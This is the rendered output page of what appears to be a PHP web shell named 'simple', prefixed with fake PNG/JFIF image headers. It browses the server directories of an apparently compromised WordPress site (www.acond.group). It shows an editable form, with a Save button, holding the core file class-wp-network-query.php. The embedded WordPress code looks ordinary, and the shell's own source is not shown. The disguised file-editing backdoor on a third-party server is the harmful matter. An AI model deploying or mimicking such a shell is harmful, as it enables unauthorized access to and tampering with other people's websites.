�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.acond.group%2F'>www.acond.group</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.acond.group%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.acond.group%2Fhtdocs%2Fwp-includes%2F'>wp-includes</a>/</p><hr><h3>✏️ Editing: class-wp-network-query.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php
/**
 * Network API: WP_Network_Query class
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 4.6.0
 */

/**
 * Core class used for querying networks.
 *
 * @since 4.6.0
 *
 * @see WP_Network_Query::__construct() for accepted arguments.
 */
#[AllowDynamicProperties]
class WP_Network_Query {

	/**
	 * SQL for database query.
	 *
	 * @since 4.6.0
	 * @var string
	 */
	public $request;

	/**
	 * SQL query clauses.
	 *
	 * @since 4.6.0
	 * @var array{
	 *     select: string,
	 *     from: string,
	 *     where: array&lt;string, string&gt;,
	 *     groupby: string,
	 *     orderby: string,
	 *     limits: string
	 * }
	 */
	protected $sql_clauses = array(
		&#039;select&#039;  =&gt; &#039;&#039;,
		&#039;from&#039;    =&gt; &#039;&#039;,
		&#039;where&#039;   =&gt; array(),
		&#039;groupby&#039; =&gt; &#039;&#039;,
		&#039;orderby&#039; =&gt; &#039;&#039;,
		&#039;limits&#039;  =&gt; &#039;&#039;,
	);

	/**
	 * Query vars set by the user.
	 *
	 * @since 4.6.0
	 * @var array&lt;string, mixed&gt;
	 */
	public $query_vars;

	/**
	 * Default values for query vars.
	 *
	 * @since 4.6.0
	 * @var array&lt;string, mixed&gt;
	 */
	public $query_var_defaults;

	/**
	 * List of networks located by the query.
	 *
	 * @since 4.6.0
	 * @var WP_Network[]|int[]
	 */
	public $networks;

	/**
	 * The amount of found networks for the current query.
	 *
	 * @since 4.6.0
	 * @var int
	 * @phpstan-var non-negative-int
	 */
	public $found_networks = 0;

	/**
	 * The number of pages.
	 *
	 * @since 4.6.0
	 * @var int
	 * @phpstan-var non-negative-int
	 */
	public $max_num_pages = 0;

	/**
	 * Constructor.
	 *
	 * Sets up the network query, based on the query vars passed.
	 *
	 * @since 4.6.0
	 *
	 * @param string|array $query {
	 *     Optional. Array or query string of network query parameters. Default empty.
	 *
	 *     @type int[]        $network__in          Array of network IDs to include. Default empty.
	 *     @type int[]        $network__not_in      Array of network IDs to exclude. Default empty.
	 *     @type bool         $count                Whether to return a network count (true) or array of network objects.
	 *                                              Default false.
	 *     @type string       $fields               Network fields to return. Accepts &#039;ids&#039; (returns an array of network IDs)
	 *                                              or empty (returns an array of complete network objects). Default empty.
	 *     @type int          $number               Maximum number of networks to retrieve. Default empty (no limit).
	 *     @type int          $offset               Number of networks to offset the query. Used to build LIMIT clause.
	 *                                              Default 0.
	 *     @type bool         $no_found_rows        Whether to disable the `SQL_CALC_FOUND_ROWS` query. Default true.
	 *     @type string|array $orderby              Network status or array of statuses. Accepts &#039;id&#039;, &#039;domain&#039;, &#039;path&#039;,
	 *                                              &#039;domain_length&#039;, &#039;path_length&#039; and &#039;network__in&#039;. Also accepts false,
	 *                                              an empty array, or &#039;none&#039; to disable `ORDER BY` clause. Default &#039;id&#039;.
	 *     @type string       $order                How to order retrieved networks. Accepts &#039;ASC&#039;, &#039;DESC&#039;. Default &#039;ASC&#039;.
	 *     @type string       $domain               Limit results to those affiliated with a given domain. Default empty.
	 *     @type string[]     $domain__in           Array of domains to include affiliated networks for. Default empty.
	 *     @type string[]     $domain__not_in       Array of domains to exclude affiliated networks for. Default empty.
	 *     @type string       $path                 Limit results to those affiliated with a given path. Default empty.
	 *     @type string[]     $path__in             Array of paths to include affiliated networks for. Default empty.
	 *     @type string[]     $path__not_in         Array of paths to exclude affiliated networks for. Default empty.
	 *     @type string       $search               Search term(s) to retrieve matching networks for. Default empty.
	 *     @type bool         $update_network_cache Whether to prime the cache for found networks. Default true.
	 * }
	 */
	public function __construct( $query = &#039;&#039; ) {
		$this-&gt;query_var_defaults = array(
			&#039;network__in&#039;          =&gt; &#039;&#039;,
			&#039;network__not_in&#039;      =&gt; &#039;&#039;,
			&#039;count&#039;                =&gt; false,
			&#039;fields&#039;               =&gt; &#039;&#039;,
			&#039;number&#039;               =&gt; &#039;&#039;,
			&#039;offset&#039;               =&gt; &#039;&#039;,
			&#039;no_found_rows&#039;        =&gt; true,
			&#039;orderby&#039;              =&gt; &#039;id&#039;,
			&#039;order&#039;                =&gt; &#039;ASC&#039;,
			&#039;domain&#039;               =&gt; &#039;&#039;,
			&#039;domain__in&#039;           =&gt; &#039;&#039;,
			&#039;domain__not_in&#039;       =&gt; &#039;&#039;,
			&#039;path&#039;                 =&gt; &#039;&#039;,
			&#039;path__in&#039;             =&gt; &#039;&#039;,
			&#039;path__not_in&#039;         =&gt; &#039;&#039;,
			&#039;search&#039;               =&gt; &#039;&#039;,
			&#039;update_network_cache&#039; =&gt; true,
		);

		if ( ! empty( $query ) ) {
			$this-&gt;query( $query );
		}
	}

	/**
	 * Parses arguments passed to the network query with default query parameters.
	 *
	 * @since 4.6.0
	 *
	 * @param string|array $query WP_Network_Query arguments. See WP_Network_Query::__construct() for accepted arguments.
	 */
	public function parse_query( $query = &#039;&#039; ) {
		if ( empty( $query ) ) {
			$query = $this-&gt;query_vars;
		}

		$this-&gt;query_vars = wp_parse_args( $query, $this-&gt;query_var_defaults );

		/**
		 * Fires after the network query vars have been parsed.
		 *
		 * @since 4.6.0
		 *
		 * @param WP_Network_Query $query The WP_Network_Query instance (passed by reference).
		 */
		do_action_ref_array( &#039;parse_network_query&#039;, array( &amp;$this ) );
	}

	/**
	 * Sets up the WordPress query for retrieving networks.
	 *
	 * @since 4.6.0
	 *
	 * @param string|array $query Array or URL query string of parameters.
	 * @return array|int List of WP_Network objects, a list of network IDs when &#039;fields&#039; is set to &#039;ids&#039;,
	 *                   or the number of networks when &#039;count&#039; is passed as a query var.
	 */
	public function query( $query ) {
		$this-&gt;query_vars = wp_parse_args( $query );
		return $this-&gt;get_networks();
	}

	/**
	 * Gets a list of networks matching the query vars.
	 *
	 * @since 4.6.0
	 *
	 * @return array|int List of WP_Network objects, a list of network IDs when &#039;fields&#039; is set to &#039;ids&#039;,
	 *                   or the number of networks when &#039;count&#039; is passed as a query var.
	 */
	public function get_networks() {
		$this-&gt;parse_query();

		/**
		 * Fires before networks are retrieved.
		 *
		 * @since 4.6.0
		 *
		 * @param WP_Network_Query $query Current instance of WP_Network_Query (passed by reference).
		 */
		do_action_ref_array( &#039;pre_get_networks&#039;, array( &amp;$this ) );

		$network_data = null;

		/**
		 * Filters the network data before the query takes place.
		 *
		 * Return a non-null value to bypass WordPress&#039; default network queries.
		 *
		 * The expected return type from this filter depends on the value passed
		 * in the request query vars:
		 * - When `$this-&gt;query_vars[&#039;count&#039;]` is set, the filter should return
		 *   the network count as an integer.
		 * - When `&#039;ids&#039; === $this-&gt;query_vars[&#039;fields&#039;]`, the filter should return
		 *   an array of network IDs.
		 * - Otherwise the filter should return an array of WP_Network objects.
		 *
		 * Note that if the filter returns an array of network data, it will be assigned
		 * to the `networks` property of the current WP_Network_Query instance.
		 *
		 * Filtering functions that require pagination information are encouraged to set
		 * the `found_networks` and `max_num_pages` properties of the WP_Network_Query object,
		 * passed to the filter by reference. If WP_Network_Query does not perform a database
		 * query, it will not have enough information to generate these values itself.
		 *
		 * @since 5.2.0
		 * @since 5.6.0 The returned array of network data is assigned to the `networks` property
		 *              of the current WP_Network_Query instance.
		 *
		 * @param array|int|null   $network_data Return an array of network data to short-circuit WP&#039;s network query,
		 *                                       the network count as an integer if `$this-&gt;query_vars[&#039;count&#039;]` is set,
		 *                                       or null to allow WP to run its normal queries.
		 * @param WP_Network_Query $query        The WP_Network_Query instance, passed by reference.
		 */
		$network_data = apply_filters_ref_array( &#039;networks_pre_query&#039;, array( $network_data, &amp;$this ) );

		if ( null !== $network_data ) {
			if ( is_array( $network_data ) &amp;&amp; ! $this-&gt;query_vars[&#039;count&#039;] ) {
				$this-&gt;networks = $network_data;
			}

			return $network_data;
		}

		// $args can include anything. Only use the args defined in the query_var_defaults to compute the key.
		$_args = wp_array_slice_assoc( $this-&gt;query_vars, array_keys( $this-&gt;query_var_defaults ) );

		// Ignore the $fields, $update_network_cache arguments as the queried result will be the same regardless.
		unset( $_args[&#039;fields&#039;], $_args[&#039;update_network_cache&#039;] );

		$key          = md5( serialize( $_args ) );
		$last_changed = wp_cache_get_last_changed( &#039;networks&#039; );

		$cache_key   = &quot;get_network_ids:$key&quot;;
		$cache_value = wp_cache_get_salted( $cache_key, &#039;network-queries&#039;, $last_changed );

		if ( false === $cache_value ) {
			$network_ids = $this-&gt;get_network_ids();
			if ( $network_ids ) {
				$this-&gt;set_found_networks();
			}

			$cache_value = array(
				&#039;network_ids&#039;    =&gt; $network_ids,
				&#039;found_networks&#039; =&gt; $this-&gt;found_networks,
			);
			wp_cache_set_salted( $cache_key, $cache_value, &#039;network-queries&#039;, $last_changed );
		} else {
			$network_ids          = $cache_value[&#039;network_ids&#039;];
			$this-&gt;found_networks = $cache_value[&#039;found_networks&#039;];
		}

		if ( $this-&gt;found_networks &amp;&amp; $this-&gt;query_vars[&#039;number&#039;] ) {
			$this-&gt;max_num_pages = (int) ceil( $this-&gt;found_networks / $this-&gt;query_vars[&#039;number&#039;] );
		}

		// If querying for a count only, there&#039;s nothing more to do.
		if ( $this-&gt;query_vars[&#039;count&#039;] ) {
			// $network_ids is actually a count in this case.
			return (int) $network_ids;
		}

		$network_ids = array_map( &#039;intval&#039;, $network_ids );

		if ( &#039;ids&#039; === $this-&gt;query_vars[&#039;fields&#039;] ) {
			$this-&gt;networks = $network_ids;
			return $this-&gt;networks;
		}

		if ( $this-&gt;query_vars[&#039;update_network_cache&#039;] ) {
			_prime_network_caches( $network_ids );
		}

		// Fetch full network objects from the primed cache.
		$_networks = array();
		foreach ( $network_ids as $network_id ) {
			$_network = get_network( $network_id );
			if ( $_network ) {
				$_networks[] = $_network;
			}
		}

		/**
		 * Filters the network query results.
		 *
		 * @since 4.6.0
		 *
		 * @param WP_Network[]     $_networks An array of WP_Network objects.
		 * @param WP_Network_Query $query     Current instance of WP_Network_Query (passed by reference).
		 */
		$_networks = apply_filters_ref_array( &#039;the_networks&#039;, array( $_networks, &amp;$this ) );

		// Convert to WP_Network instances.
		$this-&gt;networks = array_map( &#039;get_network&#039;, $_networks );

		return $this-&gt;networks;
	}

	/**
	 * Used internally to get a list of network IDs matching the query vars.
	 *
	 * @since 4.6.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @return int|array A single count of network IDs if a count query. An array of network IDs if a full query.
	 */
	protected function get_network_ids() {
		global $wpdb;

		$order = $this-&gt;parse_order( $this-&gt;query_vars[&#039;order&#039;] );

		// Disable ORDER BY with &#039;none&#039;, an empty array, or boolean false.
		if ( in_array( $this-&gt;query_vars[&#039;orderby&#039;], array( &#039;none&#039;, array(), false ), true ) ) {
			$orderby = &#039;&#039;;
		} elseif ( ! empty( $this-&gt;query_vars[&#039;orderby&#039;] ) ) {
			$ordersby = is_array( $this-&gt;query_vars[&#039;orderby&#039;] ) ?
				$this-&gt;query_vars[&#039;orderby&#039;] :
				preg_split( &#039;/[,\s]/&#039;, $this-&gt;query_vars[&#039;orderby&#039;] );

			$orderby_array = array();
			foreach ( $ordersby as $_key =&gt; $_value ) {
				if ( ! $_value ) {
					continue;
				}

				if ( is_int( $_key ) ) {
					$_orderby = $_value;
					$_order   = $order;
				} else {
					$_orderby = $_key;
					$_order   = $_value;
				}

				$parsed = $this-&gt;parse_orderby( $_orderby );

				if ( ! $parsed ) {
					continue;
				}

				if ( &#039;network__in&#039; === $_orderby ) {
					$orderby_array[] = $parsed;
					continue;
				}

				$orderby_array[] = $parsed . &#039; &#039; . $this-&gt;parse_order( $_order );
			}

			$orderby = implode( &#039;, &#039;, $orderby_array );
		} else {
			$orderby = &quot;$wpdb-&gt;site.id $order&quot;;
		}

		$number = absint( $this-&gt;query_vars[&#039;number&#039;] );
		$offset = absint( $this-&gt;query_vars[&#039;offset&#039;] );
		$limits = &#039;&#039;;

		if ( ! empty( $number ) ) {
			if ( $offset ) {
				$limits = &#039;LIMIT &#039; . $offset . &#039;,&#039; . $number;
			} else {
				$limits = &#039;LIMIT &#039; . $number;
			}
		}

		if ( $this-&gt;query_vars[&#039;count&#039;] ) {
			$fields = &#039;COUNT(*)&#039;;
		} else {
			$fields = &quot;$wpdb-&gt;site.id&quot;;
		}

		// Parse network IDs for an IN clause.
		if ( ! empty( $this-&gt;query_vars[&#039;network__in&#039;] ) ) {
			$this-&gt;sql_clauses[&#039;where&#039;][&#039;network__in&#039;] = &quot;$wpdb-&gt;site.id IN ( &quot; . implode( &#039;,&#039;, wp_parse_id_list( $this-&gt;query_vars[&#039;network__in&#039;] ) ) . &#039; )&#039;;
		}

		// Parse network IDs for a NOT IN clause.
		if ( ! empty( $this-&gt;query_vars[&#039;network__not_in&#039;] ) ) {
			$this-&gt;sql_clauses[&#039;where&#039;][&#039;network__not_in&#039;] = &quot;$wpdb-&gt;site.id NOT IN ( &quot; . implode( &#039;,&#039;, wp_parse_id_list( $this-&gt;query_vars[&#039;network__not_in&#039;] ) ) . &#039; )&#039;;
		}

		if ( ! empty( $this-&gt;query_vars[&#039;domain&#039;] ) ) {
			$this-&gt;sql_clauses[&#039;where&#039;][&#039;domain&#039;] = $wpdb-&gt;prepare( &quot;$wpdb-&gt;site.domain = %s&quot;, $this-&gt;query_vars[&#039;domain&#039;] );
		}

		// Parse network domain for an IN clause.
		if ( is_array( $this-&gt;query_vars[&#039;domain__in&#039;] ) ) {
			$this-&gt;sql_clauses[&#039;where&#039;][&#039;domain__in&#039;] = &quot;$wpdb-&gt;site.domain IN ( &#039;&quot; . implode( &quot;&#039;, &#039;&quot;, $wpdb-&gt;_escape( $this-&gt;query_vars[&#039;domain__in&#039;] ) ) . &quot;&#039; )&quot;;
		}

		// Parse network domain for a NOT IN clause.
		if ( is_array( $this-&gt;query_vars[&#039;domain__not_in&#039;] ) ) {
			$this-&gt;sql_clauses[&#039;where&#039;][&#039;domain__not_in&#039;] = &quot;$wpdb-&gt;site.domain NOT IN ( &#039;&quot; . implode( &quot;&#039;, &#039;&quot;, $wpdb-&gt;_escape( $this-&gt;query_vars[&#039;domain__not_in&#039;] ) ) . &quot;&#039; )&quot;;
		}

		if ( ! empty( $this-&gt;query_vars[&#039;path&#039;] ) ) {
			$this-&gt;sql_clauses[&#039;where&#039;][&#039;path&#039;] = $wpdb-&gt;prepare( &quot;$wpdb-&gt;site.path = %s&quot;, $this-&gt;query_vars[&#039;path&#039;] );
		}

		// Parse network path for an IN clause.
		if ( is_array( $this-&gt;query_vars[&#039;path__in&#039;] ) ) {
			$this-&gt;sql_clauses[&#039;where&#039;][&#039;path__in&#039;] = &quot;$wpdb-&gt;site.path IN ( &#039;&quot; . implode( &quot;&#039;, &#039;&quot;, $wpdb-&gt;_escape( $this-&gt;query_vars[&#039;path__in&#039;] ) ) . &quot;&#039; )&quot;;
		}

		// Parse network path for a NOT IN clause.
		if ( is_array( $this-&gt;query_vars[&#039;path__not_in&#039;] ) ) {
			$this-&gt;sql_clauses[&#039;where&#039;][&#039;path__not_in&#039;] = &quot;$wpdb-&gt;site.path NOT IN ( &#039;&quot; . implode( &quot;&#039;, &#039;&quot;, $wpdb-&gt;_escape( $this-&gt;query_vars[&#039;path__not_in&#039;] ) ) . &quot;&#039; )&quot;;
		}

		// Falsey search strings are ignored.
		if ( strlen( $this-&gt;query_vars[&#039;search&#039;] ) ) {
			$this-&gt;sql_clauses[&#039;where&#039;][&#039;search&#039;] = $this-&gt;get_search_sql(
				$this-&gt;query_vars[&#039;search&#039;],
				array( &quot;$wpdb-&gt;site.domain&quot;, &quot;$wpdb-&gt;site.path&quot; )
			);
		}

		$join = &#039;&#039;;

		$where = implode( &#039; AND &#039;, $this-&gt;sql_clauses[&#039;where&#039;] );

		$groupby = &#039;&#039;;

		$pieces = array( &#039;fields&#039;, &#039;join&#039;, &#039;where&#039;, &#039;orderby&#039;, &#039;limits&#039;, &#039;groupby&#039; );

		/**
		 * Filters the network query clauses.
		 *
		 * @since 4.6.0
		 *
		 * @param string[]         $clauses {
		 *     Associative array of the clauses for the query.
		 *
		 *     @type string $fields   The SELECT clause of the query.
		 *     @type string $join     The JOIN clause of the query.
		 *     @type string $where    The WHERE clause of the query.
		 *     @type string $orderby  The ORDER BY clause of the query.
		 *     @type string $limits   The LIMIT clause of the query.
		 *     @type string $groupby  The GROUP BY clause of the query.
		 * }
		 * @param WP_Network_Query $query   Current instance of WP_Network_Query (passed by reference).
		 */
		$clauses = apply_filters_ref_array( &#039;networks_clauses&#039;, array( compact( $pieces ), &amp;$this ) );

		$fields  = $clauses[&#039;fields&#039;] ?? &#039;&#039;;
		$join    = $clauses[&#039;join&#039;] ?? &#039;&#039;;
		$where   = $clauses[&#039;where&#039;] ?? &#039;&#039;;
		$orderby = $clauses[&#039;orderby&#039;] ?? &#039;&#039;;
		$limits  = $clauses[&#039;limits&#039;] ?? &#039;&#039;;
		$groupby = $clauses[&#039;groupby&#039;] ?? &#039;&#039;;

		if ( $where ) {
			$where = &#039;WHERE &#039; . $where;
		}

		if ( $groupby ) {
			$groupby = &#039;GROUP BY &#039; . $groupby;
		}

		if ( $orderby ) {
			$orderby = &quot;ORDER BY $orderby&quot;;
		}

		$found_rows = &#039;&#039;;
		if ( ! $this-&gt;query_vars[&#039;no_found_rows&#039;] ) {
			$found_rows = &#039;SQL_CALC_FOUND_ROWS&#039;;
		}

		$this-&gt;sql_clauses[&#039;select&#039;]  = &quot;SELECT $found_rows $fields&quot;;
		$this-&gt;sql_clauses[&#039;from&#039;]    = &quot;FROM $wpdb-&gt;site $join&quot;;
		$this-&gt;sql_clauses[&#039;groupby&#039;] = $groupby;
		$this-&gt;sql_clauses[&#039;orderby&#039;] = $orderby;
		$this-&gt;sql_clauses[&#039;limits&#039;]  = $limits;

		// Beginning of the string is on a new line to prevent leading whitespace. See https://core.trac.wordpress.org/ticket/56841.
		$this-&gt;request =
			&quot;{$this-&gt;sql_clauses[&#039;select&#039;]}
			 {$this-&gt;sql_clauses[&#039;from&#039;]}
			 {$where}
			 {$this-&gt;sql_clauses[&#039;groupby&#039;]}
			 {$this-&gt;sql_clauses[&#039;orderby&#039;]}
			 {$this-&gt;sql_clauses[&#039;limits&#039;]}&quot;;

		if ( $this-&gt;query_vars[&#039;count&#039;] ) {
			return (int) $wpdb-&gt;get_var( $this-&gt;request );
		}

		$network_ids = $wpdb-&gt;get_col( $this-&gt;request );

		return array_map( &#039;intval&#039;, $network_ids );
	}

	/**
	 * Populates found_networks and max_num_pages properties for the current query
	 * if the limit clause was used.
	 *
	 * @since 4.6.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 */
	private function set_found_networks() {
		global $wpdb;

		if ( $this-&gt;query_vars[&#039;number&#039;] &amp;&amp; ! $this-&gt;query_vars[&#039;no_found_rows&#039;] ) {
			/**
			 * Filters the query used to retrieve found network count.
			 *
			 * @since 4.6.0
			 *
			 * @param string           $found_networks_query SQL query. Default &#039;SELECT FOUND_ROWS()&#039;.
			 * @param WP_Network_Query $network_query        The `WP_Network_Query` instance.
			 */
			$found_networks_query = apply_filters( &#039;found_networks_query&#039;, &#039;SELECT FOUND_ROWS()&#039;, $this );

			$this-&gt;found_networks = (int) $wpdb-&gt;get_var( $found_networks_query );
		}
	}

	/**
	 * Used internally to generate an SQL string for searching across multiple columns.
	 *
	 * @since 4.6.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param string   $search  Search string.
	 * @param string[] $columns Array of columns to search.
	 * @return string Search SQL.
	 */
	protected function get_search_sql( $search, $columns ) {
		global $wpdb;

		$like = &#039;%&#039; . $wpdb-&gt;esc_like( $search ) . &#039;%&#039;;

		$searches = array();
		foreach ( $columns as $column ) {
			$searches[] = $wpdb-&gt;prepare( &quot;$column LIKE %s&quot;, $like );
		}

		return &#039;(&#039; . implode( &#039; OR &#039;, $searches ) . &#039;)&#039;;
	}

	/**
	 * Parses and sanitizes &#039;orderby&#039; keys passed to the network query.
	 *
	 * @since 4.6.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param string $orderby Alias for the field to order by.
	 * @return string|false Value to used in the ORDER clause. False otherwise.
	 */
	protected function parse_orderby( $orderby ) {
		global $wpdb;

		$allowed_keys = array(
			&#039;id&#039;,
			&#039;domain&#039;,
			&#039;path&#039;,
		);

		$parsed = false;
		if ( &#039;network__in&#039; === $orderby ) {
			$network__in = implode( &#039;,&#039;, array_map( &#039;absint&#039;, $this-&gt;query_vars[&#039;network__in&#039;] ) );
			$parsed      = &quot;FIELD( {$wpdb-&gt;site}.id, $network__in )&quot;;
		} elseif ( &#039;domain_length&#039; === $orderby || &#039;path_length&#039; === $orderby ) {
			$field  = substr( $orderby, 0, -7 );
			$parsed = &quot;CHAR_LENGTH($wpdb-&gt;site.$field)&quot;;
		} elseif ( in_array( $orderby, $allowed_keys, true ) ) {
			$parsed = &quot;$wpdb-&gt;site.$orderby&quot;;
		}

		return $parsed;
	}

	/**
	 * Parses an &#039;order&#039; query variable and cast it to &#039;ASC&#039; or &#039;DESC&#039; as necessary.
	 *
	 * @since 4.6.0
	 *
	 * @param string $order The &#039;order&#039; query variable.
	 * @return string The sanitized &#039;order&#039; query variable.
	 */
	protected function parse_order( $order ) {
		if ( ! is_string( $order ) || empty( $order ) ) {
			return &#039;ASC&#039;;
		}

		if ( &#039;ASC&#039; === strtoupper( $order ) ) {
			return &#039;ASC&#039;;
		} else {
			return &#039;DESC&#039;;
		}
	}
}
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2Fweb%2Fwww.acond.group%2Fhtdocs%2Fwp-includes'>🔙 Back</a></p>